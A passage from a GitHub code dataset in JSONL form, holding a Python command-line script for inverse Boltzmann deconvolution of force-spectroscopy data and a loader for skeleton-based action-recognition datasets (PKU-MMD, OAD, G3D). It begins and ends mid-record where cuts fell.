ficha de búsqueda\")\n \ndef main(*args):\n #selfRegister()\n pass\n \n ","repo_name":"gvSIGAssociation/gvsig-desktop-scripting-AccidentRateTests","sub_path":"actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16601500618","text":"# force floating point division. Can still use integer with //\nfrom __future__ import division\n# This file is used for importing the common utilities classes.\nimport numpy as np\nimport sys\nimport matplotlib.pyplot as plt\n\nimport os, sys,traceback\npath = os.path.abspath(os.path.dirname(__file__))\nos.chdir(path)\nsys.path.append('../../../../../')\nfrom FitUtil.EnergyLandscapes.InverseWeierstrass.Python.Code import \\\n InverseWeierstrass\nfrom GeneralUtil.python import GenUtilities\nfrom IgorUtil.PythonAdapter import PxpLoader\nimport argparse\nfrom FitUtil.EnergyLandscapes.Inverse_Boltzmann.Python.Code import \\\n InverseBoltzmannUtil\n\ndef load_separation_wave(file_path):\n waves = PxpLoader.LoadAllWavesFromPxp(file_path)\n assert len(waves) == 1 , \"Need exactly one wave\"\n # POST: exactly one wave\n m_wave = waves[0]\n assert m_wave.Name().lower().endswith(\"sep\") , \"Wave must end in 'sep'\"\n # POST: this is a separation wave. return it \n return m_wave\n\n\ndef parse_and_run():\n parser = argparse.ArgumentParser(description='Inverse boltzmann of a .pxp ')\n common = dict(required=True)\n parser.add_argument('-number_of_bins', metavar='number_of_bins', \n type=int,help='number of approach/retract pairs',\n **common)\n parser.add_argument('-interpolation_factor', \n metavar='interpolation_factor',\n type=float,\n help='force at which half the pop is folded/unfolded')\n help_smart = 'If true, interpolation_factor is ignored and the algorithm'+\\\n ' determines the interpolation factor by the standard devation'\n parser.add_argument('-smart_interpolation',metavar='smart_interpolation',\n type=bool,help=help_smart,required=False,default=True)\n help_gauss = \"standard deviation of the (assumed gaussian) psf, in meters\"\n parser.add_argument('-gaussian_stdev',metavar='gaussian_stdev',\n type=float,help=help_gauss)\n parser.add_argument('-file_input',metavar=\"file_input\",type=str,\n help=\"path to the '.pxp' with the separation wave\",\n **common)\n parser.add_argument('-file_output',metavar=\"file_output\",type=str,\n help=\"path to output the associated data\",**common)\n help_output = (\"If true, outputs the original number of bins requested.\" +\\\n \" Otherwise, outputs the interpolated result\")\n parser.add_argument('-output_interpolated',\n metavar=\"output_interpolated\",\n type=bool,required=False,default=True,\n help=help_output)\n parser.add_argument('-n_iters',\n metavar=\"n_iters\",\n type=int,required=False,default=300,\n help=\"number of iterations\")\n args = parser.parse_args()\n out_file = os.path.normpath(args.file_output)\n in_file = os.path.normpath(args.file_input)\n bins = args.number_of_bins\n gaussian_stdev = args.gaussian_stdev\n data = load_separation_wave(in_file)\n extension = data.DataY\n # POST: have the data, determine how to interpolate\n interpolation_factor = args.interpolation_factor\n # get the extension in ~ unitless for (it will return to 'normal' after)\n extension = data.DataY\n interpolate_kwargs = dict(upscale=interpolation_factor)\n save_kw = dict(output_interpolated=args.output_interpolated)\n common_deconvolve_kwargs = dict(p_0=None,\n return_full=False,\n r_0=1,\n delta_tol=1e-9,\n n_iters=args.n_iters)\n run_kw = dict(smart_interpolation=args.smart_interpolation,\n interpolate_kwargs=interpolate_kwargs,\n deconvolve_common_kwargs=common_deconvolve_kwargs)\n run_dict = dict(run_kwargs=run_kw,\n save_kwargs=save_kw)\n InverseBoltzmannUtil.\\\n run_and_save_data(gaussian_stdev,extension,bins,out_file,**run_dict)\n \n \n\ndef run():\n # change to this scripts path\n try:\n parse_and_run()\n except:\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, \n exc_traceback)\n # Log it or whatever here\n str_out =''.join('!! ' + line for line in lines)\n print(str_out)\n \nif __name__ == \"__main__\":\n run()\n","repo_name":"prheenan/Research","sub_path":"Perkins/Projects/PythonCommandLine/InverseBoltzmann/main_inverse_boltzmann.py","file_name":"main_inverse_boltzmann.py","file_ext":"py","file_size_in_byte":4604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18268625491","text":"\"\"\"Defines CDT of the continuous/untrimmed datasets.\"\"\"\nimport numpy as np\nfrom .skeleton_abstract import SkeletonDataset\nfrom global_configs import DatasetProtocol, SensorJointNumber\nfrom utils.misc import ProgressBar, get_folders_and_files, is_file_empty\nfrom utils.processing import (preprocess_skeleton_frame,\n causal_savitzky_golay_filter,\n standardize_coordinate_origin_sequence)\n\n\n__all__ = ['SkeletonDatasetPKUMMDv1', 'SkeletonDatasetPKUMMDv2', 'SkeletonDatasetOAD', 'SkeletonDatasetG3D',\n 'SkeletonDatasetUTKinect']\nnp.set_printoptions(threshold=5000)\nPKUMMD_INTERACT_LABELS = np.array([12, 14, 16, 18, 21, 24, 26, 27]) - 1\n\n\nclass SkeletonDatasetPKUMMDv1(SkeletonDataset):\n \"\"\"\n Load the PKU-MMD dataset by:\n C. Liu, Y. Hu, Y. Li, S. Song, and J. Liu, \"PKU-MMD: A large scale benchmark for continuous multi-modal human\n action understanding,\" arXiv preprint arXiv:1703.07475, 2017.\n\n Dataset description:\n Phase #1 contains 1076 long video sequences in 51 action categories, performed by 66 subjects in three camera\n views. It contains almost 20,000 action instances and 5.4 million frames in total. Each video lasts about 3-4\n minutes (recording ratio set to 30 FPS) and contains approximately 20 action instances. The total scale of our\n dataset is 5,312,580 frames of 3,000 minutes with 21,545 temporally localized actions. We choose 51 action\n classes in total, which are divided into two parts: 41 daily actions (drinking, waving hand, putting on the\n glassed, etc.) and 10 interaction actions (hugging, shaking hands, etc.). 66 distinct subjects are invited\n for our data collection. Each subjects takes part in 4 daily action videos and 2 interactive action\n videos.our videos only contain one part of the actions, either daily actions or interaction actions. We\n design 54 sequences and divide subjects into 9 groups, and each groups randomly choose 6 sequences to perform.\n\n Skeleton Files:\n For each video, there exists a skeleton file XXXX−V.skeletonXXXX−V.skeleton which contains several lines for\n frame-level skeleton data. Each line contains 3×25×23×25×2 float numbers for 3-dimensional locations of 25\n major body joints of 2 subjects.\n\n Label Files:\n For each video, there exists a label file named XXXX−V.labelXXXX−V.label illustrating the ground truth\n labels. Several lines will be given, each line contains 4 integers for label,start,end,confidence\n respectively. Note that confidenceconfidence is either 11 or 22 for slight and strong recommendation\n respectively.\n\n Split Files:\n a)\tcross-view.txt: cross view split list.\n b)\tcross-subject.txt: cross subject split list.\n These are the split settings in our own experiments. We split the training data into two parts for training\n and validation to tune our model for cross-view and cross-subject settings, respectively. Please note\n that you can use all the training data to train your model for the final testing evaluation.\n c)\tActions.xlsx: contains the 51 defined actions and corresponding IDs.\n \"\"\"\n def __init__(self, directory: str, protocol: DatasetProtocol,\n regression_sigma: float = 5,\n is_translated: bool = True,\n is_edged: bool = False,\n is_rotated: bool = False,\n is_filtered: bool = False):\n if not protocol:\n protocol = DatasetProtocol.CROSS_SUBJECT\n if protocol == DatasetProtocol.CROSS_SUBJECT:\n self.split_filename = 'cross-subject.txt'\n elif protocol == DatasetProtocol.CROSS_VIEW:\n self.split_filename = 'cross-view.txt'\n else:\n raise ValueError('Protocol specified is not available for this dataset.')\n super(SkeletonDatasetPKUMMDv1, self).__init__(directory, regression_sigma, 0.5,\n is_translated=is_translated,\n is_edged=is_edged,\n is_rotated=is_rotated,\n is_filtered=is_filtered,\n downsample_factor=4,\n forecast_t=2)\n\n # Load label names here instead. The sorting in parent class isn't necessary for this dataset.\n import openpyxl\n book = openpyxl.load_workbook(self.root_dir + 'Split/Actions.xlsx')\n sheet = book.active\n self._labels = []\n for row in sheet.iter_rows(min_row=2, min_col=2, max_col=2):\n for cell in row:\n self._labels.append(cell.value)\n self._labels = tuple(self._labels + ['~'])\n del sheet, book, openpyxl\n self._protocol = protocol\n\n def load_label_map(self):\n self.has_interaction = True\n self._joints_per_person = SensorJointNumber.KINECT_V1\n # self._joints_per_person = SensorJointNumber.KINECT_V2\n\n # Load train and test data file lists\n with open(self.root_dir + 'Split/' + self.split_filename, 'r') as split_file:\n split_file.readline()\n train_files = split_file.readline().rstrip().split(', ')\n split_file.readline()\n test_files = split_file.readline().rstrip().split(', ')\n\n # Load individual data files\n pr = ProgressBar(80, len(train_files) + len(test_files))\n data_count = 0\n for file_id in train_files:\n self._data_label_pairs.append(self._load_sequence_and_label_vector(file_id))\n self._train_indices.append(data_count)\n data_count += 1\n pr.update(data_count)\n\n for file_id in test_files:\n self._data_label_pairs.append(self._load_sequence_and_label_vector(file_id))\n self._test_indices.append(data_count)\n data_count += 1\n pr.update(data_count)\n\n def _load_sequence_and_label_vector(self, file_id):\n is_25_joint = (self._joints_per_person == SensorJointNumber.KINECT_V2)\n seq = np.array([], dtype=np.float32).reshape(0, self._joints_per_person * 3 * 2)\n edged_seq = np.array([], dtype=np.float32).reshape(0, self._joints_per_person * 3 * 2)\n with open(self.root_dir + 'Data/skeleton/' + file_id + '.txt', 'r') as skeleton_file:\n for idx, line in enumerate(skeleton_file, 0):\n frame_arr = np.array(line.rstrip().split(), dtype=np.float32) * 1000\n frame_arr_pt1 = preprocess_skeleton_frame(frame_arr[:self._joints_per_person * 3],\n is_15_joint=False,\n to_rotate=self.is_rotated,\n to_edge=False)\n frame_arr_pt2 = preprocess_skeleton_frame(frame_arr[len(frame_arr) // 2:\n len(frame_arr) // 2 + self._joints_per_person * 3],\n is_15_joint=False,\n to_rotate=self.is_rotated,\n to_edge=False)\n frame_arr_pt1_edged = preprocess_skeleton_frame(frame_arr[:self._joints_per_person * 3],\n is_15_joint=False,\n to_edge=True,\n to_rotate=self.is_rotated,\n is_25_joint=is_25_joint)\n frame_arr_pt2_edged = preprocess_skeleton_frame(frame_arr[len(frame_arr) // 2:\n len(frame_arr) // 2 + self._joints_per_person * 3,\n ],\n is_15_joint=False,\n to_edge=True,\n to_rotate=self.is_rotated,\n is_25_joint=is_25_joint)\n frame_arr = np.concatenate((frame_arr_pt1, frame_arr_pt2))\n frame_arr_edged = np.concatenate((frame_arr_pt1_edged, frame_arr_pt2_edged))\n seq = np.vstack((seq, frame_arr))\n edged_seq = np.vstack((edged_seq, frame_arr_edged))\n label_vector = 51 * np.ones(len(seq), dtype=np.int16) # maximum means unknown (~) action\n with open(self.root_dir + 'Label/' + file_id + '.txt', 'r') as label_file:\n for idx, line in enumerate(label_file, 0):\n label_id, start_frame, end_frame = line.rstrip().split(',')[:3]\n start_frame = int(start_frame) - 1 - self.forecast_t\n if start_frame < 0:\n start_frame = 0\n label = int(label_id) - 1\n label_vector[start_frame:int(end_frame)] = label\n if self.is_filtered:\n seq = causal_savitzky_golay_filter(seq)\n edged_seq = causal_savitzky_golay_filter(edged_seq)\n if self.is_edged and not self.is_translated:\n seq = edged_seq\n elif self.is_translated:\n seq = standardize_coordinate_origin_sequence(seq, is_25_joint=is_25_joint, use_hip=False)\n if self.is_edged:\n seq = np.concatenate((seq, edged_seq), axis=-1)\n self._update_extrema(seq)\n return seq, label_vector\n\n def load_data_by_idx(self, data_idx: int):\n return self._data_label_pairs[data_idx]\n\n # overrides\n def get_data_arrays(self, idx):\n return self.load_data_by_idx(idx)\n\n def __str__(self):\n return 'PKU-MMD_v1_Dataset'\n\n\nclass SkeletonDatasetPKUMMDv2(SkeletonDataset):\n \"\"\"\n Load the PKU-MMD dataset by:\n C. Liu, Y. Hu, Y. Li, S. Song, and J. Liu, \"PKU-MMD: A large scale benchmark for continuous multi-modal human\n action understanding,\" arXiv preprint arXiv:1703.07475, 2017.\n\n Dataset description:\n Phase #2 contains 2000 short video sequences in 49 action categories, performed by 13 subjects in three\n camera views. Each video lasts about 1-2 minutes (recording ratio set to 30 FPS) and contains approximately\n 7 action instances.\n\n Skeleton Files:\n For each video, there exists a skeleton file XXXX−V.skeletonXXXX−V.skeleton which contains several lines for\n frame-level skeleton data. Each line contains 3×25×2 float numbers for 3-dimensional locations of 25\n major body joints of 2 subjects.\n\n Label Files:\n For each video, there exists a label file named XXXX−V.labelXXXX−V.label illustrating the ground truth\n labels. Several lines will be given, each line contains 4 integers for label,start,end,confidence\n respectively. Note that confidenceconfidence is either 11 or 22 for slight and strong recommendation\n respectively.\n\n Split Files:\n a)\tcross-view.txt: cross view split list.\n b)\tcross-subject.txt: cross subject split list.\n These are the split settings in our own experiments. We split the training data into two parts for training\n and validation to tune our model for cross-view and cross-subject settings, respectively. Please note\n that you can use all the training data to train your model for the final testing evaluation.\n c)\tActions.xlsx: contains the 51 defined actions and corresponding IDs.\n\n Notes:\n The following numbers for view M are missing (and therefore there are actually 338+333+338 videos in\n total): A05N04, A07N12, A08N12, A14N12, A20N01\n \"\"\"\n def __init__(self, directory: str, protocol: DatasetProtocol,\n regression_sigma: float = 5,\n is_translated: bool = True,\n is_edged: bool = False,\n is_rotated: bool = False,\n is_filtered: bool = False):\n if not protocol:\n protocol = DatasetProtocol.CROSS_SUBJECT\n if protocol == DatasetProtocol.CROSS_SUBJECT:\n self.split_filename = 'cross_subject_v2.txt'\n elif protocol == DatasetProtocol.CROSS_VIEW:\n self.split_filename = 'cross_view_v2.txt'\n else:\n raise ValueError('Protocol specified is not available for this dataset.')\n super(SkeletonDatasetPKUMMDv2, self).__init__(directory, regression_sigma, 0.5,\n is_translated=is_translated,\n is_edged=is_edged,\n is_rotated=is_rotated,\n is_filtered=is_filtered,\n downsample_factor=2,\n forecast_t=10)\n\n # Load label names here instead. The sorting in parent class isn't necessary for this dataset.\n import openpyxl\n book = openpyxl.load_workbook(self.root_dir + 'Split/Actions_v2.xlsx')\n sheet = book.active\n self._labels = []\n for idx, row in enumerate(sheet.iter_rows(min_row=2, min_col=2, max_col=2)):\n for cell in row:\n self._labels.append(cell.value)\n self._labels = tuple(self._labels + ['~'])\n del sheet, book, openpyxl\n self._protocol = protocol\n\n def load_label_map(self):\n self.has_interaction = True\n self._joints_per_person = SensorJointNumber.KINECT_V1\n # self._joints_per_person = SensorJointNumber.KINECT_V2\n\n # Load train and test data file lists\n with open(self.root_dir + 'Split/' + self.split_filename, 'r') as split_file:\n split_file.readline()\n train_files = split_file.readline().rstrip().split(', ')\n split_file.readline()\n test_files = split_file.readline().rstrip().split(', ')\n\n # Load individual data files\n pr = ProgressBar(80, len(train_files) + len(test_files))\n data_count = 0\n for file_id in train_files:\n self._data_label_pairs.append(self._load_sequence_and_label_vector(file_id))\n self._train_indices.append(data_count)\n data_count += 1\n pr.update(data_count)\n\n for file_id in test_files:\n self._data_label_pairs.append(self._load_sequence_and_label_vector(file_id))\n self._test_indices.append(data_count)\n data_count += 1\n pr.update(data_count)\n\n def _load_sequence_and_label_vector(self, file_id):\n is_25_joint = (self._joints_per_person == SensorJointNumber.KINECT_V2)\n seq = np.array([], dtype=np.float32).reshape(0, self._joints_per_person * 3 * 2)\n edged_seq = np.array([], dtype=np.float32).reshape(0, self._joints_per_person * 3 * 2)\n with open(self.root_dir + 'Data/skeleton/' + file_id + '.txt', 'r') as skeleton_file:\n for idx, line in enumerate(skeleton_file, 0):\n frame_arr = np.array(line.rstrip().split(), dtype=np.float32) * 1000\n frame_arr_pt1 = preprocess_skeleton_frame(frame_arr[:self._joints_per_person * 3],\n is_15_joint=False,\n to_edge=False,\n to_rotate=self.is_rotated)\n frame_arr_pt2 = preprocess_skeleton_frame(frame_arr[len(frame_arr) // 2:\n len(frame_arr) // 2 + self._joints_per_person * 3,\n ],\n is_15_joint=False,\n to_edge=False,\n to_rotate=self.is_rotated)\n frame_arr_pt1_edged = preprocess_skeleton_frame(frame_arr[:self._joints_per_person * 3],\n is_15_joint=False,\n to_edge=True,\n to_rotate=self.is_rotated,\n is_25_joint=is_25_joint)\n frame_arr_pt2_edged = preprocess_skeleton_frame(frame_arr[len(frame_arr) // 2:\n len(frame_arr) // 2 + self._joints_per_person * 3,\n ],\n is_15_joint=False,\n to_edge=True,\n to_rotate=self.is_rotated,\n is_25_joint=is_25_joint)\n frame_arr = np.concatenate((frame_arr_pt1, frame_arr_pt2))\n frame_arr_edged = np.concatenate((frame_arr_pt1_edged, frame_arr_pt2_edged))\n seq = np.vstack((seq, frame_arr))\n edged_seq = np.vstack((edged_seq, frame_arr_edged))\n label_vector = 51 * np.ones(len(seq), dtype=np.int16) # maximum means unknown (~) action\n with open(self.root_dir + 'Label/' + file_id + '.txt', 'r') as label_file:\n for idx, line in enumerate(label_file, 0):\n label_id, start_frame, end_frame = line.rstrip().split(',')[:3]\n start_frame = int(start_frame) - 1 - self.forecast_t\n if start_frame < 0:\n start_frame = 0\n label_vector[start_frame:int(end_frame)] = int(label_id) - 1\n if self.is_filtered:\n seq = causal_savitzky_golay_filter(seq)\n edged_seq = causal_savitzky_golay_filter(edged_seq)\n if self.is_edged and not self.is_translated:\n seq = edged_seq\n elif self.is_translated:\n seq = standardize_coordinate_origin_sequence(seq, is_25_joint=is_25_joint, use_hip=False)\n if self.is_edged:\n seq = np.concatenate((seq, edged_seq), axis=-1)\n self._update_extrema(seq)\n return seq, label_vector\n\n def load_data_by_idx(self, data_idx: int):\n return self._data_label_pairs[data_idx]\n\n # overrides\n def get_data_arrays(self, idx):\n return self.load_data_by_idx(idx)\n\n def __str__(self):\n return 'PKU-MMD_v2_Dataset'\n\n\nclass SkeletonDatasetOAD(SkeletonDataset):\n \"\"\"\n Load the OAD dataset by:\n Y. Li, C. Lan, J. Xing, W. Zeng, C. Yuan, and J. Liu, \"Online human action detection using joint\n classification-regression recurrent neural networks,\" in European Conference on Computer Vision,\n 2016, pp. 203-220: Springer.\n\n Dataset description:\n The Online Action Detection Dataset (OAD) was captured using the Kinect V2 sensor, which collects color images,\n depth images and human skeleton joints synchronously. Our dataset includes 59 long sequences and 10 actions,\n including drinking, eating, writing, opening cup- board, washing hands, opening microwave, sweeping, gargling,\n throwing trash, and wiping.\n\n The folder 'data' contains the data of each sequences, including\n 3. skeleton: skeleton data\n 4. label: action labels. For example, the label\n drinking\n\n 120 130\n\n 1847 1853\n\n eating\n\n 207 220\n indicates that this sequence contains 2 intervals of the action 'drinking'. The first interval starts from\n the frame indexed by 120 and ends at the frame indexed by 130.\n\n Note that at the beginning of some sequences, skeleton and depth files may be empty. You can simply ignore them.\n In our paper, we select 30 sequences ([1, 2, 3, 4, 7, 8, 9, 14, 15, 16, 18, 19, 20, 22, 23, 24, 25, 32, 33, 34,\n 35, 37, 38, 39, 49, 50, 51, 54, 57, 58]) for training and 20 sequences ([0, 10, 13, 17, 21, 26, 27, 28, 29, 36,\n 40, 41, 42, 43, 44, 45, 52, 53, 55, 56]) for testing. The remaining 9 long videos are used for the evaluation\n of the running speed.\n \"\"\"\n def __init__(self, directory: str,\n train_portion: float = 0.5,\n regression_sigma: float = 5,\n is_translated: bool = True,\n is_rotated: bool = True,\n is_filtered: bool = True,\n is_edged: bool = False,\n *args,\n **kwargs):\n super(SkeletonDatasetOAD, self).__init__(directory, regression_sigma, train_portion,\n is_translated=is_translated,\n is_edged=is_edged,\n is_rotated=is_rotated,\n is_filtered=is_filtered,\n forecast_t=10,\n downsample_factor=1)\n # Reload label names here as the sorting in parent class isn't necessary for this dataset.\n self._labels = ('drinking', 'eating', 'writing', 'opening cupboard', 'washing hands',\n 'opening microwave oven', 'sweeping', 'gargling', 'throwing trash', 'wiping', '~')\n\n def load_label_map(self):\n import re\n labels = ('drinking', 'eating', 'writing', 'opening cupboard', 'washing hands', 'opening microwave oven',\n 'sweeping', 'gargling', 'throwing trash', 'wiping')\n # self._joints_per_person = SensorJointNumber.KINECT_V2\n self._joints_per_person = SensorJointNumber.KINECT_V1\n is_25_joint = (self._joints_per_person == SensorJointNumber.KINECT_V2)\n data_count = 59\n data_iter = range(data_count)\n pr = ProgressBar(80, data_count)\n self._train_indices = [1, 2, 3, 4, 7, 8, 9, 14, 15, 16, 18, 19, 20, 22, 23, 24, 25, 32, 33, 34,\n 35, 37, 38, 39, 49, 50, 51, 54, 57, 58]\n self._test_indices = [0, 10, 13, 17, 21, 26, 27, 28, 29, 36,\n 40, 41, 42, 43, 44, 45, 52, 53, 55, 56]\n data_path = self.root_dir + 'data/'\n for data_idx in data_iter:\n skeleton_dir_path = data_path + str(data_idx) + '/skeleton/'\n label_file_path = data_path + str(data_idx) + '/label/label.txt'\n _, frame_filenames = get_folders_and_files(skeleton_dir_path)\n frame_file_ids = []\n for frame_filename in frame_filenames: # unordered\n if frame_filename.endswith('.txt'):\n frame_file_ids.append(int(re.findall(r'\\d+', frame_filename)[0]))\n else:\n continue\n frame_file_ids = sorted(frame_file_ids)\n offset = frame_file_ids[0] # actual start index of this sequence in the raw dataset\n seq = np.array([], dtype=np.float32).reshape(0, self._joints_per_person * 3)\n edged_seq = np.array([], dtype=np.float32).reshape(0, self._joints_per_person * 3)\n record_started = False\n for frame_id in frame_file_ids:\n frame_file_path = skeleton_dir_path + str(frame_id) + '.txt'\n if is_file_empty(frame_file_path):\n if not record_started:\n offset = frame_id + 1\n continue\n else:\n record_started = True\n with open(skeleton_dir_path + str(frame_id) + '.txt', 'r') as frame_file:\n frame = []\n for joint_idx in range(self._joints_per_person):\n x, y, z = frame_file.readline().rstrip().split()\n frame += [float(x) * 1000, float(y) * 1000, float(z) * 1000]\n edged_seq = np.vstack((edged_seq, preprocess_skeleton_frame(frame,\n is_15_joint=False,\n to_edge=True,\n to_rotate=self.is_rotated,\n is_25_joint=is_25_joint)))\n seq = np.vstack((seq, preprocess_skeleton_frame(frame,\n is_15_joint=False,\n to_edge=False,\n to_rotate=self.is_rotated)))\n label_vector = len(labels) * np.ones(len(seq), dtype=np.int16)\n with open(label_file_path, 'r') as label_file:\n last_label_idx = 0\n for line in label_file:\n if not line:\n break # EOF\n if line[0].isalpha():\n last_label_idx = labels.index(line.rstrip().lower())\n else:\n start, end = line.rstrip().split()\n start, end = int(start) - offset, int(end) - offset\n start -= self.forecast_t\n if start < 0:\n start = 0\n label_vector[start:end+1] = last_label_idx\n if self.is_filtered:\n edged_seq = causal_savitzky_golay_filter(edged_seq)\n seq = causal_savitzky_golay_filter(seq)\n if self.is_edged and not self.is_translated:\n seq = edged_seq\n elif self.is_translated:\n seq = standardize_coordinate_origin_sequence(seq, is_25_joint=is_25_joint, use_hip=False)\n if self.is_edged:\n seq = np.concatenate((seq, edged_seq), axis=-1)\n self._update_extrema(seq)\n self._data_label_pairs.append((seq, label_vector))\n pr.update(data_idx + 1)\n\n def load_data_by_idx(self, data_idx: int):\n return self._data_label_pairs[data_idx]\n\n # overrides\n def get_data_arrays(self, idx):\n return self.load_data_by_idx(idx)\n\n def __str__(self):\n return 'OAD_Dataset'\n\n\nclass SkeletonDatasetG3D(SkeletonDataset):\n \"\"\"\n Load G3D Dataset by:\n V. Bloom, D. Makris, and V. Argyriou, \"G3d: A gaming action dataset and real time action recognition evaluation\n framework,\" in Computer Vision and Pattern Recognition Workshops (CVPRW), 2012 IEEE Computer Society Conference\n on, 2012, pp. 7-12: IEEE.\n\n Dataset description:\n G3D dataset contains a range of gaming actions captured with Microsoft Kinect. The Kinect enabled us to record\n synchronised video, depth and skeleton data. The dataset contains 10 subjects performing 20 gaming actions:\n punch right, punch left, kick right, kick left, defend, golf swing, tennis swing forehand, tennis swing\n backhand, tennis serve, throw bowling ball, aim and fire gun, walk, run, jump, climb, crouch, steer a car,\n wave, flap and clap. The 20 gaming actions are recorded in 7 action sequences. Most sequences contain\n multiple actions in a controlled indoor environment with a fixed camera, a typical setup for gesture based\n gaming. Each sequence is repeated three times by each subject as shown in Table below.\n\n\n Actor\tFighting\tGolf\t Tennis\t Bowling\t FPS\t Driving\t Misc\n 1\t 22\t23\t24\t25\t26\t27\t28\t29\t30\t31\t32\t33*\t34\t35\t36\t37\t38\t39\t40\t41\t42\n\n 2\t 43\t44\t45\t46\t47\t48\t49\t50\t51\t52\t53\t54\t55\t56\t57\t58\t59\t60\t61\t62\t63\n\n 3\t 64\t65\t66\t67\t68\t69\t70\t71\t72\t73\t74\t75\t76\t77\t78\t79\t80\t81\t82\t83\t84\n\n 4\t 85\t86\t87\t88\t89\t90\t91\t92\t93\t94\t95\t96\t97\t98\t99\t100\t101\t102\t103\t104\t105\n\n 5\t 106\t107\t108\t109\t110\t111\t112\t113\t114\t115\t116\t117\t118\t119\t120\t121\t122\t123\t124\t125\t126\n\n 6\t 127\t128\t129\t130\t131\t132\t133\t134\t135\t136\t137\t138\t139\t140\t141\t142\t143\t144\t145\t146\t147\n\n 7\t 148\t149\t150\t151\t152\t153\t154\t155\t156\t157\t158\t159\t160\t161\t162\t163\t164\t165\t166\t167\t168\n\n 8\t 169\t170\t171\t172\t173\t174\t175\t176\t177\t178\t179\t180\t181\t182\t183\t184\t185\t186\t187\t188\t189\n\n 9\t 190\t191\t192\t193\t194\t195\t196\t197\t198\t199\t200\t201\t202\t203\t204\t205\t206\t207\t208\t209\t210\n\n 10\t 214\t215\t216\t217\t218\t219\t220\t221\t222\t223\t224\t225\t226\t227\t228\t229\t230\t231\t232\t233\t234\n\n *Please note sequence 33 was corrupted and is therefore not available.\n\n Formats:\n Due to the formats selected, it is possible to view all the recorded data and metadata without any special\n software tools. The three streams were recorded at 30fps in a mirrored view. The depth and colour images were\n stored as 640x480 PNG files and the skeleton data in XML files.\n \"\"\"\n def __init__(self, directory: str,\n train_portion: float = 0.5,\n regression_sigma: float = 5,\n is_translated: bool = True,\n is_edged: bool = False,\n is_rotated: bool = False,\n is_filtered: bool = False,\n *args,\n **kwargs):\n super(SkeletonDatasetG3D, self).__init__(directory, regression_sigma, train_portion,\n is_translated=is_translated,\n is_edged=is_edged,\n is_rotated=is_rotated,\n is_filtered=is_filtered,\n downsample_factor=1,\n forecast_t=10)\n self._labels = ('PunchRight', 'PunchLeft', 'KickRight', 'KickLeft', 'Defend',\n 'GolfSwing', 'TennisSwingForehand', 'TennisSwingBackhand',\n 'TennisServe', 'ThrowBowlingBall', 'AimAndFireGun', 'Walk',\n 'Run', 'Jump', 'Climb', 'Crouch', 'SteerCentre', 'SteerRight',\n 'SteerLeft', 'Wave', 'Flap', 'Clap', '~')\n\n def load_label_map(self):\n import re\n from lxml import etree\n labels = ('PunchRight', 'PunchLeft', 'KickRight', 'KickLeft', 'Defend',\n 'GolfSwing', 'TennisSwingForehand', 'TennisSwingBackhand',\n 'TennisServe', 'ThrowBowlingBall', 'AimAndFireGun', 'Walk',\n 'Run', 'Jump', 'Climb', 'Crouch', 'SteerCentre', 'SteerRight',\n 'SteerLeft', 'Wave', 'Flap', 'Clap')\n train_ids = [22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 34, 35, 36, 37, 38, 39, 40, 41, 42,\n 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,\n 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84,\n 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105,\n 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123,\n 124, 125, 126]\n self._joints_per_person = SensorJointNumber.KINECT_V1\n category_folders, _ = get_folders_and_files(self.root_dir)\n pr = ProgressBar(80, 209)\n count = 0\n for category in category_folders:\n category_dir = self.root_dir + '/' + category + '/'\n sample_folders, _ = get_folders_and_files(category_dir)\n for sample in sample_folders:\n sample_id = int(sample.replace('KinectOutput', ''))\n if sample_id in train_ids:\n is_train = True\n else:\n is_train = False\n data_dir = category_dir + sample + '/Skeleton/'\n _, data_filenames = get_folders_and_files(data_dir)\n data_file_ids = []\n for filename in data_filenames:\n if filename.endswith('.xml'):\n data_file_ids.append(int(re.findall(r'\\d+', filename)[0]))\n else:\n continue\n data_file_ids = sorted(data_file_ids)\n seq = np.array([], dtype=np.float32).reshape(0, self._joints_per_person * 3)\n edged_seq = np.array([], dtype=np.float32).reshape(0, self._joints_per_person * 3)\n frame_id_dict = {}\n for data_file_id in data_file_ids:\n frame = []\n skeleton_tree = etree.parse(data_dir + 'Skeleton ' + str(data_file_id) + '.xml')\n joints = skeleton_tree.xpath('//Joint')\n if len(joints) < 20:\n continue\n for joint in joints[:20]:\n coords = joint[0]\n frame.append(float(coords[0].text) * 1000.) # x in mm\n frame.append(float(coords[1].text) * 1000.) # y in mm\n frame.append(float(coords[2].text) * 1000.) # z in mm\n seq = np.vstack((seq, preprocess_skeleton_frame(frame,\n is_15_joint=False,\n to_edge=False,\n to_rotate=self.is_rotated)))\n edged_seq = np.vstack((edged_seq, preprocess_skeleton_frame(frame,\n is_15_joint=False,\n to_edge=True,\n to_rotate=self.is_rotated)))\n frame_id_dict[data_file_id] = len(seq) - 1\n\n label_tree = etree.parse(self.root_dir + 'ActionPoints' + str(sample_id) + '.xml')\n label_vector = len(labels) * np.ones(len(seq), dtype=np.int16)\n action_points = label_tree.xpath('//ActionPoint')\n prev_label_id = len(labels)\n prev_frame_idx = 0\n for action_point in action_points:\n label_id = labels.index(action_point[0].text)\n start_frame_idx = frame_id_dict[int(action_point[1].text)]\n label_vector[prev_frame_idx:start_frame_idx] = prev_label_id\n prev_frame_idx = start_frame_idx - self.forecast_t\n prev_label_id = label_id\n label_vector[prev_frame_idx:] = prev_label_id # annotate the very last action of the sequence\n if self.is_filtered:\n seq = causal_savitzky_golay_filter(seq)\n edged_seq = causal_savitzky_golay_filter(edged_seq)\n if self.is_edged and not self.is_translated:\n seq = edged_seq\n elif self.is_translated:\n seq = standardize_coordinate_origin_sequence(seq, use_hip=False)\n if self.is_edged:\n seq = np.concatenate((seq, edged_seq), axis=-1)\n self._data_label_pairs.append((seq, label_vector))\n self._update_extrema(seq)\n if is_train:\n self._train_indices.append(count) # not the same as the 'train_ids' variable\n else:\n 